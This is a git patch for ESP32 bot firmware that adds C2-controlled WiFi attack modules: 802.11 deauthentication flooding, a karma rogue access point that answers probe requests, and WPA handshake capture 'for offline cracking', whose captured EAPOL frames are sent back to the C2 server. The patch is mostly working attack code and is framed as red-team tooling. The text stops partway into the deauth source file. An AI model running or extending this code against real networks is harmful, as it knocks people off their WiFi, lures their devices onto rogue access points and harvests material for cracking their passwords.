From 2315979db0b2e1fcca9d9db182ca52f56ffa165d Mon Sep 17 00:00:00 2001 From: Eun0us Date: Sun, 1 Mar 2026 02:08:28 +0100 Subject: [PATCH] =?UTF-8?q?=CE=B5=20-=20Add=20WiFi=20offensive=20capabilit?= =?UTF-8?q?ies=20to=20mod=5Fredteam?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Phase 1 of v0.4.0 offensive modules: - Promiscuous dispatcher (rt_promisc): shared IRAM callback multiplexer for stealth scan, karma, capture — solves single-callback ESP-IDF limit - Attack manager (rt_attack): mutual exclusion ensuring only one offensive operation runs at a time - Deauth refactored to use shared promisc dispatcher + attack lock - Stealth passive scan migrated to promisc dispatcher - Karma attack (rt_karma): probe request listener + probe response injection + rogue SoftAP with most-requested SSID + DNS responder - WPA handshake capture (rt_capture): EAPOL frame capture via promiscuous DATA filter, 4-way handshake identification, optional deauth burst to trigger reconnection - Kconfig: RT_BEACON, RT_KARMA, RT_CAPTURE toggle options - 5 new C2 commands: rt_karma, rt_karma_stop, rt_karma_clients, rt_capture, rt_capture_stop (14 total in mod_redteam) --- .../components/mod_redteam/CMakeLists.txt | 3 +- .../components/mod_redteam/cmd_redteam.c | 289 ++++++++- .../components/mod_redteam/rt_attack.c | 96 +++ .../components/mod_redteam/rt_attack.h | 49 ++ .../components/mod_redteam/rt_beacon.h | 40 ++ .../components/mod_redteam/rt_capture.c | 383 +++++++++++ .../components/mod_redteam/rt_capture.h | 51 ++ .../components/mod_redteam/rt_deauth.c | 206 ++++++ .../components/mod_redteam/rt_deauth.h | 36 ++ espilon_bot/components/mod_redteam/rt_karma.c | 598 ++++++++++++++++++ espilon_bot/components/mod_redteam/rt_karma.h | 43 ++ .../components/mod_redteam/rt_promisc.c | 201 ++++++ .../components/mod_redteam/rt_promisc.h | 53 ++ .../components/mod_redteam/rt_stealth.c | 33 +- espilon_bot/main/Kconfig | 38 ++ 15 files changed, 2103 insertions(+), 16 deletions(-) create mode 100644 espilon_bot/components/mod_redteam/rt_attack.c create mode 100644 espilon_bot/components/mod_redteam/rt_attack.h create mode 100644 espilon_bot/components/mod_redteam/rt_beacon.h create mode 100644 espilon_bot/components/mod_redteam/rt_capture.c create mode 100644 espilon_bot/components/mod_redteam/rt_capture.h create mode 100644 espilon_bot/components/mod_redteam/rt_deauth.c create mode 100644 espilon_bot/components/mod_redteam/rt_deauth.h create mode 100644 espilon_bot/components/mod_redteam/rt_karma.c create mode 100644 espilon_bot/components/mod_redteam/rt_karma.h create mode 100644 espilon_bot/components/mod_redteam/rt_promisc.c create mode 100644 espilon_bot/components/mod_redteam/rt_promisc.h diff --git a/espilon_bot/components/mod_redteam/CMakeLists.txt b/espilon_bot/components/mod_redteam/CMakeLists.txt index 92d5063..fece6e8 100644 --- a/espilon_bot/components/mod_redteam/CMakeLists.txt +++ b/espilon_bot/components/mod_redteam/CMakeLists.txt @@ -1,5 +1,6 @@ idf_component_register( SRCS cmd_redteam.c rt_config.c rt_hunt.c rt_stealth.c rt_captive.c rt_mesh.c + rt_promisc.c rt_attack.c rt_deauth.c rt_karma.c rt_capture.c INCLUDE_DIRS . - REQUIRES core nvs_flash lwip esp_wifi freertos esp_timer + REQUIRES core nvs_flash lwip esp_wifi esp_netif freertos esp_timer esp_event ) diff --git a/espilon_bot/components/mod_redteam/cmd_redteam.c b/espilon_bot/components/mod_redteam/cmd_redteam.c index d0c6b55..16c3435 100644 --- a/espilon_bot/components/mod_redteam/cmd_redteam.c +++ b/espilon_bot/components/mod_redteam/cmd_redteam.c @@ -1,6 +1,6 @@ /* * cmd_redteam.c - * Red Team resilient connectivity — 7 C2 commands. + * Red Team offensive operations — C2 command handlers. */ #include "sdkconfig.h" #include "cmd_redteam.h" @@ -17,6 +17,17 @@ #include "rt_hunt.h" #include "rt_stealth.h" #include "rt_mesh.h" +#include "rt_deauth.h" +#include "rt_promisc.h" +#include "rt_attack.h" + +#ifdef CONFIG_RT_KARMA +#include "rt_karma.h" +#endif + +#ifdef CONFIG_RT_CAPTURE +#include "rt_capture.h" +#endif #define TAG "RT" @@ -221,6 +232,206 @@ static int cmd_rt_mesh(int argc, char **argv, const char *req, void *ctx) return 0; } +/* ============================================================ + * COMMAND: rt_deauth [client] [count] [channel] + * Send 802.11 deauth frames to disconnect clients from an AP. + * ============================================================ */ +static int cmd_rt_deauth(int argc, char **argv, const char *req, void *ctx) +{ + (void)ctx; + + if (argc < 1) { + msg_error(TAG, "usage: rt_deauth [client] [count] [channel]", req); + return -1; + } + + /* Parse BSSID */ + uint8_t bssid[6]; + if (sscanf(argv[0], "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx", + &bssid[0], &bssid[1], &bssid[2], + &bssid[3], &bssid[4], &bssid[5]) != 6) { + msg_error(TAG, "Invalid BSSID format (XX:XX:XX:XX:XX:XX)", req); + return -1; + } + + /* Parse optional client MAC */ + uint8_t client[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; + bool has_client = false; + if (argc >= 2 && strcmp(argv[1], "all") != 0) { + if (sscanf(argv[1], "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx", + &client[0], &client[1], &client[2], + &client[3], &client[4], &client[5]) == 6) { + has_client = true; + } + } + + /* Parse optional count (0 = continuous) */ + uint32_t count = 0; + if (argc >= 3) { + count = (uint32_t)atoi(argv[2]); + } + + /* Parse optional channel */ + uint8_t channel = 0; + if (argc >= 4) { + channel = (uint8_t)atoi(argv[3]); + } + + rt_deauth_start(bssid, has_client ? client : NULL, channel, count, 10); + + char buf[128]; + snprintf(buf, sizeof(buf), "Deauth started: %s → %s%s", + argv[0], + has_client ? argv[1] : "broadcast", + count ? "" : " (continuous)"); + msg_info(TAG, buf, req); + return 0; +} + +/* ============================================================ + * COMMAND: rt_deauth_stop + * Stop the running deauth attack. + * ============================================================ */ +static int cmd_rt_deauth_stop(int argc, char **argv, const char *req, void *ctx) +{ + (void)argc; (void)argv; (void)ctx; + + if (!rt_deauth_is_active()) { + msg_info(TAG, "Deauth not running", req); + return 0; + } + + rt_deauth_stop(); + msg_info(TAG, "Deauth stopped", req); + return 0; +} + +/* ============================================================ + * COMMAND: rt_karma [duration_s] + * Start karma listener (probe request responder + rogue AP). + * ============================================================ */ +#ifdef CONFIG_RT_KARMA +static int cmd_rt_karma(int argc, char **argv, const char *req, void *ctx) +{ + (void)ctx; + + if (rt_karma_is_active()) { + msg_info(TAG, "Karma already running", req); + return 0; + } + + uint32_t duration = 0; + if (argc >= 1) { + duration = (uint32_t)atoi(argv[0]); + } + + rt_karma_start(duration); + + char buf[64]; + snprintf(buf, sizeof(buf), "Karma started%s", + duration ? "" : " (continuous)"); + msg_info(TAG, buf, req); + return 0; +} + +static int cmd_rt_karma_stop(int argc, char **argv, const char *req, void *ctx) +{ + (void)argc; (void)argv; (void)ctx; + + if (!rt_karma_is_active()) { + msg_info(TAG, "Karma not running", req); + return 0; + } + + rt_karma_stop(); + msg_info(TAG, "Karma stopped", req); + return 0; +} + +static int cmd_rt_karma_clients(int argc, char **argv, const char *req, void *ctx) +{ + (void)argc; (void)argv; (void)ctx; + + rt_karma_client_t clients[RT_KARMA_MAX_CLIENTS]; + int count = rt_karma_get_clients(clients, RT_KARMA_MAX_CLIENTS); + + if (count == 0) { + msg_info(TAG, "No clients captured", req); + return 0; + } + + for (int i = 0; i < count; i++) { + char line[128]; + snprintf(line, sizeof(line), + "[%d] %02X:%02X:%02X:%02X:%02X:%02X ssid='%s' conn=%s", + i, + clients[i].mac[0], clients[i].mac[1], clients[i].mac[2], + clients[i].mac[3], clients[i].mac[4], clients[i].mac[5], + clients[i].ssid, + clients[i].connected ? "yes" : "no"); + msg_data(TAG, line, strlen(line), (i == count - 1), req); + } + + return 0; +} +#endif /* CONFIG_RT_KARMA */ + +/* ============================================================ + * COMMAND: rt_capture [channel] [deauth] + * Capture WPA 4-way handshake from target AP. + * ============================================================ */ +#ifdef CONFIG_RT_CAPTURE +static int cmd_rt_capture(int argc, char **argv, const char *req, void *ctx) +{ + (void)ctx; + + if (argc < 1) { + msg_error(TAG, "usage: rt_capture [channel] [deauth]", req); + return -1; + } + + uint8_t bssid[6]; + if (sscanf(argv[0], "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx", + &bssid[0], &bssid[1], &bssid[2], + &bssid[3], &bssid[4], &bssid[5]) != 6) { + msg_error(TAG, "Invalid BSSID format (XX:XX:XX:XX:XX:XX)", req); + return -1; + } + + uint8_t channel = 0; + if (argc >= 2) { + channel = (uint8_t)atoi(argv[1]); + } + + bool send_deauth = false; + if (argc >= 3 && strcmp(argv[2], "deauth") == 0) { + send_deauth = true; + } + + rt_capture_start(bssid, channel, send_deauth); + + char buf[96]; + snprintf(buf, sizeof(buf), "Capture started: %s ch=%d%s", + argv[0], channel, send_deauth ? " +deauth" : ""); + msg_info(TAG, buf, req); + return 0; +} + +static int cmd_rt_capture_stop(int argc, char **argv, const char *req, void *ctx) +{ + (void)argc; (void)argv; (void)ctx; + + if (!rt_capture_is_active()) { + msg_info(TAG, "Capture not running", req); + return 0; + } + + rt_capture_stop(); + msg_info(TAG, "Capture stopped", req); + return 0; +} +#endif /* CONFIG_RT_CAPTURE */ + /* ============================================================ * Command table * ============================================================ */ @@ -295,6 +506,80 @@ static const command_t rt_cmds[] = { .ctx = NULL, .async = false, }, + { + .name = "rt_deauth", + .sub = NULL, + .help = "Deauth attack: rt_deauth [client|all] [count] [channel]", + .min_args = 1, + .max_args = 4, + .handler = (command_handler_t)cmd_rt_deauth, + .ctx = NULL, + .async = true, + }, + { + .name = "rt_deauth_stop", + .sub = NULL, + .help = "Stop deauth attack", + .min_args = 0, + .max_args = 0, + .handler = (command_handler_t)cmd_rt_deauth_stop, + .ctx = NULL, + .async = false, + }, +#ifdef CONFIG_RT_KARMA + { + .name = "rt_karma", + .sub = NULL, + .help = "Karma: rt_karma [duration_s]", + .min_args = 0, + .max_args = 1, + .handler = (command_handler_t)cmd_rt_karma, + .ctx = NULL, + .async = true, + }, + { + .name = "rt_karma_stop", + .sub = NULL, + .help = "Stop karma", + .min_args = 0, + .max_args = 0, + .handler = (command_handler_t)cmd_rt_karma_stop, + .ctx = NULL, + .async = false, + }, + { + .name = "rt_karma_clients", + .sub = NULL, + .help = "List karma-captured clients", + .min_args = 0, + .max_args = 0, + .handler = (command_handler_t)cmd_rt_karma_clients, + .ctx = NULL, + .async = false, + }, +#endif +#ifdef CONFIG_RT_CAPTURE + { + .name = "rt_capture", + .sub = NULL, + .help = "Capture WPA handshake: rt_capture [ch] [deauth]", + .min_args = 1, + .max_args = 3, + .handler = (command_handler_t)cmd_rt_capture, + .ctx = NULL, + .async = true, + }, + { + .name = "rt_capture_stop", + .sub = NULL, + .help = "Stop handshake capture", + .min_args = 0, + .max_args = 0, + .handler = (command_handler_t)cmd_rt_capture_stop, + .ctx = NULL, + .async = false, + }, +#endif }; /* ============================================================ @@ -306,6 +591,8 @@ void mod_redteam_register_commands(void) rt_config_init(); rt_config_save_orig_mac(); + rt_promisc_init(); + rt_attack_init(); for (size_t i = 0; i < sizeof(rt_cmds) / sizeof(rt_cmds[0]); i++) { command_register(&rt_cmds[i]); diff --git a/espilon_bot/components/mod_redteam/rt_attack.c b/espilon_bot/components/mod_redteam/rt_attack.c new file mode 100644 index 0000000..c348267 --- /dev/null +++ b/espilon_bot/components/mod_redteam/rt_attack.c @@ -0,0 +1,96 @@ +/* + * rt_attack.c + * Mutual exclusion for offensive operations. + * + * Ensures only one attack runs at a time (deauth, beacon, karma, capture). + */ +#include "sdkconfig.h" + +#ifdef CONFIG_MODULE_REDTEAM + +#include "freertos/FreeRTOS.h" +#include "freertos/semphr.h" +#include "esp_log.h" + +#include "rt_attack.h" + +#define TAG "RT_ATTACK" + +static SemaphoreHandle_t s_mutex = NULL; +static rt_attack_type_t s_current = RT_ATTACK_NONE; +static bool s_inited = false; + +static const char *s_names[] = { + [RT_ATTACK_NONE] = "none", + [RT_ATTACK_DEAUTH] = "deauth", + [RT_ATTACK_BEACON] = "beacon", + [RT_ATTACK_KARMA] = "karma", + [RT_ATTACK_CAPTURE] = "capture", +}; + +void rt_attack_init(void) +{ + if (s_inited) return; + + s_mutex = xSemaphoreCreateMutex(); + configASSERT(s_mutex); + + s_current = RT_ATTACK_NONE; + s_inited = true; +} + +esp_err_t rt_attack_start(rt_attack_type_t type) +{ + if (!s_inited) rt_attack_init(); + + xSemaphoreTake(s_mutex, portMAX_DELAY); + + if (s_current != RT_ATTACK_NONE) { + ESP_LOGW(TAG, "Cannot start %s: %s already running", + s_names[type], s_names[s_current]); + xSemaphoreGive(s_mutex); + return ESP_ERR_INVALID_STATE; + } + + s_current = type; + ESP_LOGI(TAG, "Attack started: %s", s_names[type]); + + xSemaphoreGive(s_mutex); + return ESP_OK; +} + +void rt_attack_stop(void) +{ + if (!s_inited) return; + + xSemaphoreTake(s_mutex, portMAX_DELAY); + + if (s_current != RT_ATTACK_NONE) { + ESP_LOGI(TAG, "Attack stopped: %s", s_names[s_current]); + } + s_current = RT_ATTACK_NONE; + + xSemaphoreGive(s_mutex); +} + +rt_attack_type_t rt_attack_current(void) +{ + if (!s_inited) return RT_ATTACK_NONE; + + xSemaphoreTake(s_mutex, portMAX_DELAY); + rt_attack_type_t t = s_current; + xSemaphoreGive(s_mutex); + return t; +} + +const char *rt_attack_name(void) +{ + return s_names[rt_attack_current()]; +} + +bool rt_attack_is_active(void) +{ + return rt_attack_current() != RT_ATTACK_NONE; +} + +#endif /* CONFIG_MODULE_REDTEAM */ diff --git a/espilon_bot/components/mod_redteam/rt_attack.h b/espilon_bot/components/mod_redteam/rt_attack.h new file mode 100644 index 0000000..81fba8a --- /dev/null +++ b/espilon_bot/components/mod_redteam/rt_attack.h @@ -0,0 +1,49 @@ +/* + * rt_attack.h + * Mutual exclusion for offensive operations. + * + * Only one attack (deauth, beacon, karma, capture) can run at a time. + * Each attack calls rt_attack_start() before launching its task and + * rt_attack_stop() when it finishes or is aborted. + */ +#pragma once + +#include +#include "esp_err.h" + +#ifdef __cplusplus +extern "C" { +#endif + +typedef enum { + RT_ATTACK_NONE = 0, + RT_ATTACK_DEAUTH, + RT_ATTACK_BEACON, + RT_ATTACK_KARMA, + RT_ATTACK_CAPTURE, +} rt_attack_type_t; + +/* Initialise the attack manager (call once, idempotent). */ +void rt_attack_init(void); + +/* + * Try to start an attack. Returns ESP_OK if acquired, or + * ESP_ERR_INVALID_STATE if another attack is already running. + */ +esp_err_t rt_attack_start(rt_attack_type_t type); + +/* Release the attack lock (call from the stopping attack). */ +void rt_attack_stop(void); + +/* Current attack type (NONE if idle). */ +rt_attack_type_t rt_attack_current(void); + +/* Human-readable name for the current attack. */ +const char *rt_attack_name(void); + +/* True if any attack is in progress. */ +bool rt_attack_is_active(void); + +#ifdef __cplusplus +} +#endif diff --git a/espilon_bot/components/mod_redteam/rt_beacon.h b/espilon_bot/components/mod_redteam/rt_beacon.h new file mode 100644 index 0000000..181d942 --- /dev/null +++ b/espilon_bot/components/mod_redteam/rt_beacon.h @@ -0,0 +1,40 @@ +/* + * rt_beacon.h + * 802.11 beacon frame flood — spam fake SSIDs. + */ +#pragma once + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +typedef enum { + RT_BEACON_RANDOM, /* Random SSIDs + random BSSIDs */ + RT_BEACON_RICKROLL, /* Rick Astley lyrics as SSIDs */ + RT_BEACON_CUSTOM, /* User-supplied SSID list */ +} rt_beacon_mode_t; + +/* + * Start beacon flood. + * mode – flood mode (random, rickroll, custom) + * channel – WiFi channel (1-13), 0 = current + * count – total beacons to send, 0 = continuous + * ssids – NULL-terminated array of SSIDs (only for CUSTOM mode) + */ +void rt_beacon_start(rt_beacon_mode_t mode, + uint8_t channel, + uint32_t count, + const char **ssids); + +/* Stop the beacon flood task. */ +void rt_beacon_stop(void); + +/* True if beacon flood is running. */ +bool rt_beacon_is_active(void); + +#ifdef __cplusplus +} +#endif diff --git a/espilon_bot/components/mod_redteam/rt_capture.c b/espilon_bot/components/mod_redteam/rt_capture.c new file mode 100644 index 0000000..272ed5d --- /dev/null +++ b/espilon_bot/components/mod_redteam/rt_capture.c @@ -0,0 +1,383 @@ +/* + * rt_capture.c + * WPA/WPA2 4-way handshake capture via promiscuous mode. + * + * Captures EAPOL frames (EtherType 0x888E) from data frames on the + * target channel. Identifies the 4 handshake messages via the Key Info + * field and stores them for transmission to C3PO. + * + * Optionally sends a short deauth burst to trigger client reconnection. + */ +#include "sdkconfig.h" + +#if defined(CONFIG_MODULE_REDTEAM) && defined(CONFIG_RT_CAPTURE) + +#include +#include + +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" +#include "esp_wifi.h" +#include "esp_log.h" + +#include "rt_capture.h" +#include "rt_promisc.h" +#include "rt_attack.h" +#include "utils.h" + +#define TAG "RT_CAPTURE" + +/* ============================================================ + * EAPOL / 802.1X constants + * ============================================================ */ + +/* EtherType for 802.1X authentication */ +#define ETHERTYPE_EAPOL 0x888E + +/* EAPOL Key Info flags (big-endian in the frame) */ +#define KEY_INFO_MIC (1 << 8) /* bit 8: MIC present */ +#define KEY_INFO_SECURE (1 << 9) /* bit 9: secure */ +#define KEY_INFO_INSTALL (1 << 6) /* bit 6: install */ +#define KEY_INFO_ACK (1 << 7) /* bit 7: ACK */ +#define KEY_INFO_PAIRWISE (1 << 3) /* bit 3: pairwise */ + +/* IEEE 802.11 data frame with LLC/SNAP encapsulation */ +/* Data frame header: 24 bytes (no QoS) or 26 bytes (QoS) */ +/* LLC/SNAP: AA AA 03 00 00 00 [ethertype 2 bytes] */ + +/* ============================================================ + * State + * ============================================================ */ + +static atomic_bool s_active = ATOMIC_VAR_INIT(false); +static TaskHandle_t s_task = NULL; +static rt_capture_result_t s_result; + +/* Capture parameters */ +static uint8_t s_target_bssid[6]; +static uint8_t s_target_channel; +static bool s_send_deauth; + +/* ============================================================ + * Identify EAPOL handshake message number from Key Info + * ============================================================ + * + * M1: AP→Client ACK=1, MIC=0, Install=0, Pairwise=1 + * M2: Client→AP ACK=0, MIC=1, Install=0, Pairwise=1 + * M3: AP→Client ACK=1, MIC=1, Install=1, Pairwise=1 + * M4: Client→AP ACK=0, MIC=1, Install=0, Pairwise=1, nonce=0 + */ +static int identify_eapol_msg(const uint8_t *eapol, size_t len) +{ + /* Minimum EAPOL-Key frame: 4 (802.1X hdr) + 95 (key frame) = 99 bytes */ + if (len < 99) return 0; + + /* 802.1X header: version(1) + type(1) + length(2) */ + uint8_t eapol_type = eapol[1]; + if (eapol_type != 3) return 0; /* type 3 = EAPOL-Key */ + + /* Key descriptor: type(1) at offset 4 */ + /* Key Info at offset 5-6 (big-endian) */ + uint16_t key_info = (eapol[5] << 8) | eapol[6]; + + bool ack = (key_info & KEY_INFO_ACK) != 0; + bool mic = (key_info & KEY_INFO_MIC) != 0; + bool install = (key_info & KEY_INFO_INSTALL) != 0; + + if (ack && !mic && !install) return 1; /* M1 */ + if (!ack && mic && !install) { + /* M2 or M4 — distinguish by Key Nonce (offset 17, 32 bytes) */ + /* M4 has all-zero nonce */ + bool nonce_zero = true; + for (int i = 17; i < 17 + 32 && i < (int)len; i++) { + if (eapol[i] != 0) { nonce_zero = false; break; } + } + return nonce_zero ? 4 : 2; + } + if (ack && mic && install) return 3; /* M3 */ + + return 0; /* unknown */ +} + +/* ============================================================ + * Promiscuous callback — look for EAPOL in data frames + * ============================================================ */ + +static void IRAM_ATTR capture_promisc_cb(void *buf, wifi_promiscuous_pkt_type_t type) +{ + if (type != WIFI_PKT_DATA) return; + + wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)buf; + const uint8_t *payload = pkt->payload; + size_t pkt_len = pkt->rx_ctrl.sig_len; + if (pkt_len > 4) pkt_len -= 4; /* strip FCS */ + + /* Data frame header: minimum 24 bytes */ + if (pkt_len < 24 + 8) return; /* header + LLC/SNAP minimum */ + + /* Check if BSSID matches (addr1 or addr2 or addr3 depending on flags) */ + uint16_t fc = payload[0] | (payload[1] << 8); + uint8_t to_ds = (fc >> 8) & 0x01; + uint8_t from_ds = (fc >> 9) & 0x01; + + const uint8_t *bssid_field; + const uint8_t *src_field; + const uint8_t *dst_field; + + if (to_ds == 0 && from_ds == 1) { + /* From AP to client: addr1=dst, addr2=BSSID, addr3=src */ + dst_field = payload + 4; + bssid_field = payload + 10; + src_field = payload + 16; + } else if (to_ds == 1 && from_ds == 0) { + /* From client to AP: addr1=BSSID, addr2=src, addr3=dst */ + bssid_field = payload + 4; + src_field = payload + 10; + dst_field = payload + 16; + } else { + return; /* WDS or IBSS, skip */ + } + + /* Filter by target BSSID */ + if (memcmp(bssid_field, s_target_bssid, 6) != 0) return; + + /* Determine header length (24 or 26 for QoS) */ + uint8_t subtype = (fc >> 4) & 0x0F; + size_t hdr_len = 24; + if (subtype >= 8) hdr_len = 26; /* QoS data */ + + if (pkt_len < hdr_len + 8) return; + + /* LLC/SNAP header: AA AA 03 00 00 00 [ethertype] */ + const uint8_t *llc = payload + hdr_len; + if (llc[0] != 0xAA || llc[1] != 0xAA || llc[2] != 0x03) return; + + /* EtherType at offset 6-7 of LLC/SNAP (big-endian) */ + uint16_t ethertype = (llc[6] << 8) | llc[7]; + if (ethertype != ETHERTYPE_EAPOL) return; + + /* EAPOL frame starts after LLC/SNAP (8 bytes) */ + const uint8_t *eapol = llc + 8; + size_t eapol_len = pkt_len - hdr_len - 8; + + int msg = identify_eapol_msg(eapol, eapol_len); + if (msg < 1 || msg > 4) return; + + /* Store the frame */ + int idx = msg - 1; + if (s_result.captured & (1 << idx)) return; /* already have this one */ + + size_t store_len = eapol_len; + if (store_len > RT_CAPTURE_MAX_EAPOL_LEN) store_len = RT_CAPTURE_MAX_EAPOL_LEN; + + memcpy(s_result.frames[idx].data, eapol, store_len); + s_result.frames[idx].len = store_len; + s_result.frames[idx].msg_num = msg; + s_result.captured |= (1 << idx); + + /* Track client MAC */ + if (msg == 2 || msg == 4) { + memcpy(s_result.client, src_field, 6); + } else { + memcpy(s_result.client, dst_field, 6); + } + + ESP_LOGI(TAG, "Captured EAPOL M%d (%zu bytes) from %02X:%02X:%02X:%02X:%02X:%02X", + msg, eapol_len, + s_result.client[0], s_result.client[1], s_result.client[2], + s_result.client[3], s_result.client[4], s_result.client[5]); + + /* Check if complete */ + if (s_result.captured == 0x0F) { + s_result.complete = true; + ESP_LOGI(TAG, "Full 4-way handshake captured!"); + } +} + +/* Handler for the promiscuous dispatcher */ +static const rt_promisc_handler_t s_capture_handler = { + .cb = capture_promisc_cb, + .filter_mask = WIFI_PROMIS_FILTER_MASK_DATA | WIFI_PROMIS_FILTER_MASK_MGMT, + .tag = "capture", +}; + +/* ============================================================ + * Short deauth burst (does NOT use the attack lock — internal use) + * ============================================================ */ + +typedef struct __attribute__((packed)) { + uint16_t frame_ctrl; + uint16_t duration; + uint8_t addr1[6]; + uint8_t addr2[6]; + uint8_t addr3[6]; + uint16_t seq_ctrl; + uint16_t reason; +} deauth_frame_t; + +static void send_deauth_burst(const uint8_t bssid[6], int count) +{ + deauth_frame_t frame; + memset(&frame, 0, sizeof(frame)); + frame.frame_ctrl = 0x00C0; /* deauth */ + frame.reason = 0x0007; + + /* Broadcast deauth */ + memset(frame.addr1, 0xFF, 6); + memcpy(frame.addr2, bssid, 6); + memcpy(frame.addr3, bssid, 6); + + for (int i = 0; i < count; i++) { + esp_wifi_80211_tx(WIFI_IF_STA, &frame, sizeof(frame), false); + vTaskDelay(pdMS_TO_TICKS(5)); + } + + ESP_LOGI(TAG, "Sent %d deauth frames to trigger reconnection", count); +} + +/* ============================================================ + * Capture task + * ============================================================ */ + +static void capture_task(void *arg) +{ + (void)arg; + + /* Reset result */ + memset(&s_result, 0, sizeof(s_result)); + memcpy(s_result.bssid, s_target_bssid, 6); + + /* Register promiscuous handler */ + esp_err_t ret = rt_promisc_register(&s_capture_handler); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "Promisc register failed"); + rt_attack_stop(); + atomic_store(&s_active, false); + s_task = NULL; + vTaskDelete(NULL); + return; + } + + /* Set channel */ + if (s_target_channel > 0 && s_target_channel <= 13) { + rt_promisc_set_channel(s_target_channel); + } + + rt_promisc_enable(); + + ESP_LOGI(TAG, "Capture started on ch=%d for BSSID=%02X:%02X:%02X:%02X:%02X:%02X", + s_target_channel, + s_target_bssid[0], s_target_bssid[1], s_target_bssid[2], + s_target_bssid[3], s_target_bssid[4], s_target_bssid[5]); + + /* Optionally send deauth to force reconnection */ + if (s_send_deauth) { + vTaskDelay(pdMS_TO_TICKS(500)); + send_deauth_burst(s_target_bssid, 5); + } + + /* Wait for capture to complete or user stop */ + while (atomic_load(&s_active) && !s_result.complete) { + vTaskDelay(pdMS_TO_TICKS(500)); + + /* Report progress */ + if (s_result.captured) { + ESP_LOGD(TAG, "Progress: M1=%c M2=%c M3=%c M4=%c", + (s_result.captured & 0x01) ? 'Y' : '-', + (s_result.captured & 0x02) ? 'Y' : '-', + (s_result.captured & 0x04) ? 'Y' : '-', + (s_result.captured & 0x08) ? 'Y' : '-'); + } + } + + /* Send results to C2 if we captured anything */ + if (s_result.captured) { + char buf[128]; + for (int i = 0; i < 4; i++) { + if (!(s_result.captured & (1 << i))) continue; + + /* Format: EAPOL|||M| */ + /* Send the raw frame via msg_data for C3PO to process */ + snprintf(buf, sizeof(buf), + "EAPOL|%02X%02X%02X%02X%02X%02X|%02X%02X%02X%02X%02X%02X|M%d|%zu", + s_result.bssid[0], s_result.bssid[1], s_result.bssid[2], + s_result.bssid[3], s_result.bssid[4], s_result.bssid[5], + s_result.client[0], s_result.client[1], s_result.client[2], + s_result.client[3], s_result.client[4], s_result.client[5], + i + 1, s_result.frames[i].len); + msg_data(TAG, buf, strlen(buf), false, ""); + + /* Send the raw EAPOL bytes */ + msg_data(TAG, s_result.frames[i].data, s_result.frames[i].len, + (i == 3 || !(s_result.captured & ~((1 << (i+1)) - 1))), + ""); + } + + snprintf(buf, sizeof(buf), "Capture done: %s (%d/4 messages)", + s_result.complete ? "COMPLETE" : "partial", + __builtin_popcount(s_result.captured)); + msg_info(TAG, buf, ""); + } + + rt_promisc_unregister(&s_capture_handler); + rt_promisc_disable(); + rt_attack_stop(); + + ESP_LOGI(TAG, "Capture stopped: %d/4 messages", + __builtin_popcount(s_result.captured)); + + atomic_store(&s_active, false); + s_task = NULL; + vTaskDelete(NULL); +} + +/* ============================================================ + * Public API + * ============================================================ */ + +void rt_capture_start(const uint8_t bssid[6], uint8_t channel, bool send_deauth) +{ + if (atomic_load(&s_active)) { + ESP_LOGW(TAG, "Capture already running"); + return; + } + + if (rt_attack_start(RT_ATTACK_CAPTURE) != ESP_OK) { + ESP_LOGW(TAG, "Cannot start: another attack running (%s)", + rt_attack_name()); + return; + } + + memcpy(s_target_bssid, bssid, 6); + s_target_channel = channel; + s_send_deauth = send_deauth; + + atomic_store(&s_active, true); + + xTaskCreatePinnedToCore( + capture_task, + "rt_capture", + 6144, + NULL, + 6, + &s_task, + 1 /* Core 1 */ + ); +} + +void rt_capture_stop(void) +{ + atomic_store(&s_active, false); +} + +bool rt_capture_is_active(void) +{ + return atomic_load(&s_active); +} + +const rt_capture_result_t *rt_capture_get_result(void) +{ + return &s_result; +} + +#endif /* CONFIG_MODULE_REDTEAM && CONFIG_RT_CAPTURE */ diff --git a/espilon_bot/components/mod_redteam/rt_capture.h b/espilon_bot/components/mod_redteam/rt_capture.h new file mode 100644 index 0000000..b79a83f --- /dev/null +++ b/espilon_bot/components/mod_redteam/rt_capture.h @@ -0,0 +1,51 @@ +/* + * rt_capture.h + * WPA/WPA2 4-way handshake (EAPOL) capture for offline cracking. + */ +#pragma once + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +#define RT_CAPTURE_MAX_EAPOL_LEN 256 + +/* Captured EAPOL frame */ +typedef struct { + uint8_t data[RT_CAPTURE_MAX_EAPOL_LEN]; + size_t len; + uint8_t msg_num; /* 1-4 for each handshake message */ +} rt_eapol_frame_t; + +/* Capture result */ +typedef struct { + uint8_t bssid[6]; + uint8_t client[6]; + rt_eapol_frame_t frames[4]; /* M1..M4 */ + uint8_t captured; /* bitmask: bit 0=M1, bit 1=M2, etc. */ + bool complete; /* all 4 messages captured */ +} rt_capture_result_t; + +/* + * Start handshake capture. + * bssid – target AP BSSID (6 bytes) + * channel – WiFi channel (1-13), 0 = current + * send_deauth – if true, send a few deauth frames to force reconnection + */ +void rt_capture_start(const uint8_t bssid[6], uint8_t channel, bool send_deauth); + +/* Stop capture. */ +void rt_capture_stop(void); + +/* True if capture is running. */ +bool rt_capture_is_active(void); + +/* Get the current capture result (may be incomplete). */ +const rt_capture_result_t *rt_capture_get_result(void); + +#ifdef __cplusplus +} +#endif diff --git a/espilon_bot/components/mod_redteam/rt_deauth.c b/espilon_bot/components/mod_redteam/rt_deauth.c new file mode 100644 index 0000000..0347f0e --- /dev/null +++ b/espilon_bot/components/mod_redteam/rt_deauth.c @@ -0,0 +1,206 @@ +/* + * rt_deauth.c + * 802.11 deauthentication frame injection via esp_wifi_80211_tx(). + * + * Sends deauth frames to disconnect clients from an AP. + * Supports targeted (single client) and broadcast (all clients) modes. + * + * Uses rt_promisc for promiscuous mode management and rt_attack for + * mutual exclusion with other offensive operations. + */ +#include "sdkconfig.h" + +#ifdef CONFIG_MODULE_REDTEAM + +#include +#include + +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" +#include "esp_wifi.h" +#include "esp_log.h" + +#include "rt_deauth.h" +#include "rt_promisc.h" +#include "rt_attack.h" + +#define TAG "RT_DEAUTH" + +/* ============================================================ + * 802.11 Deauth frame (26 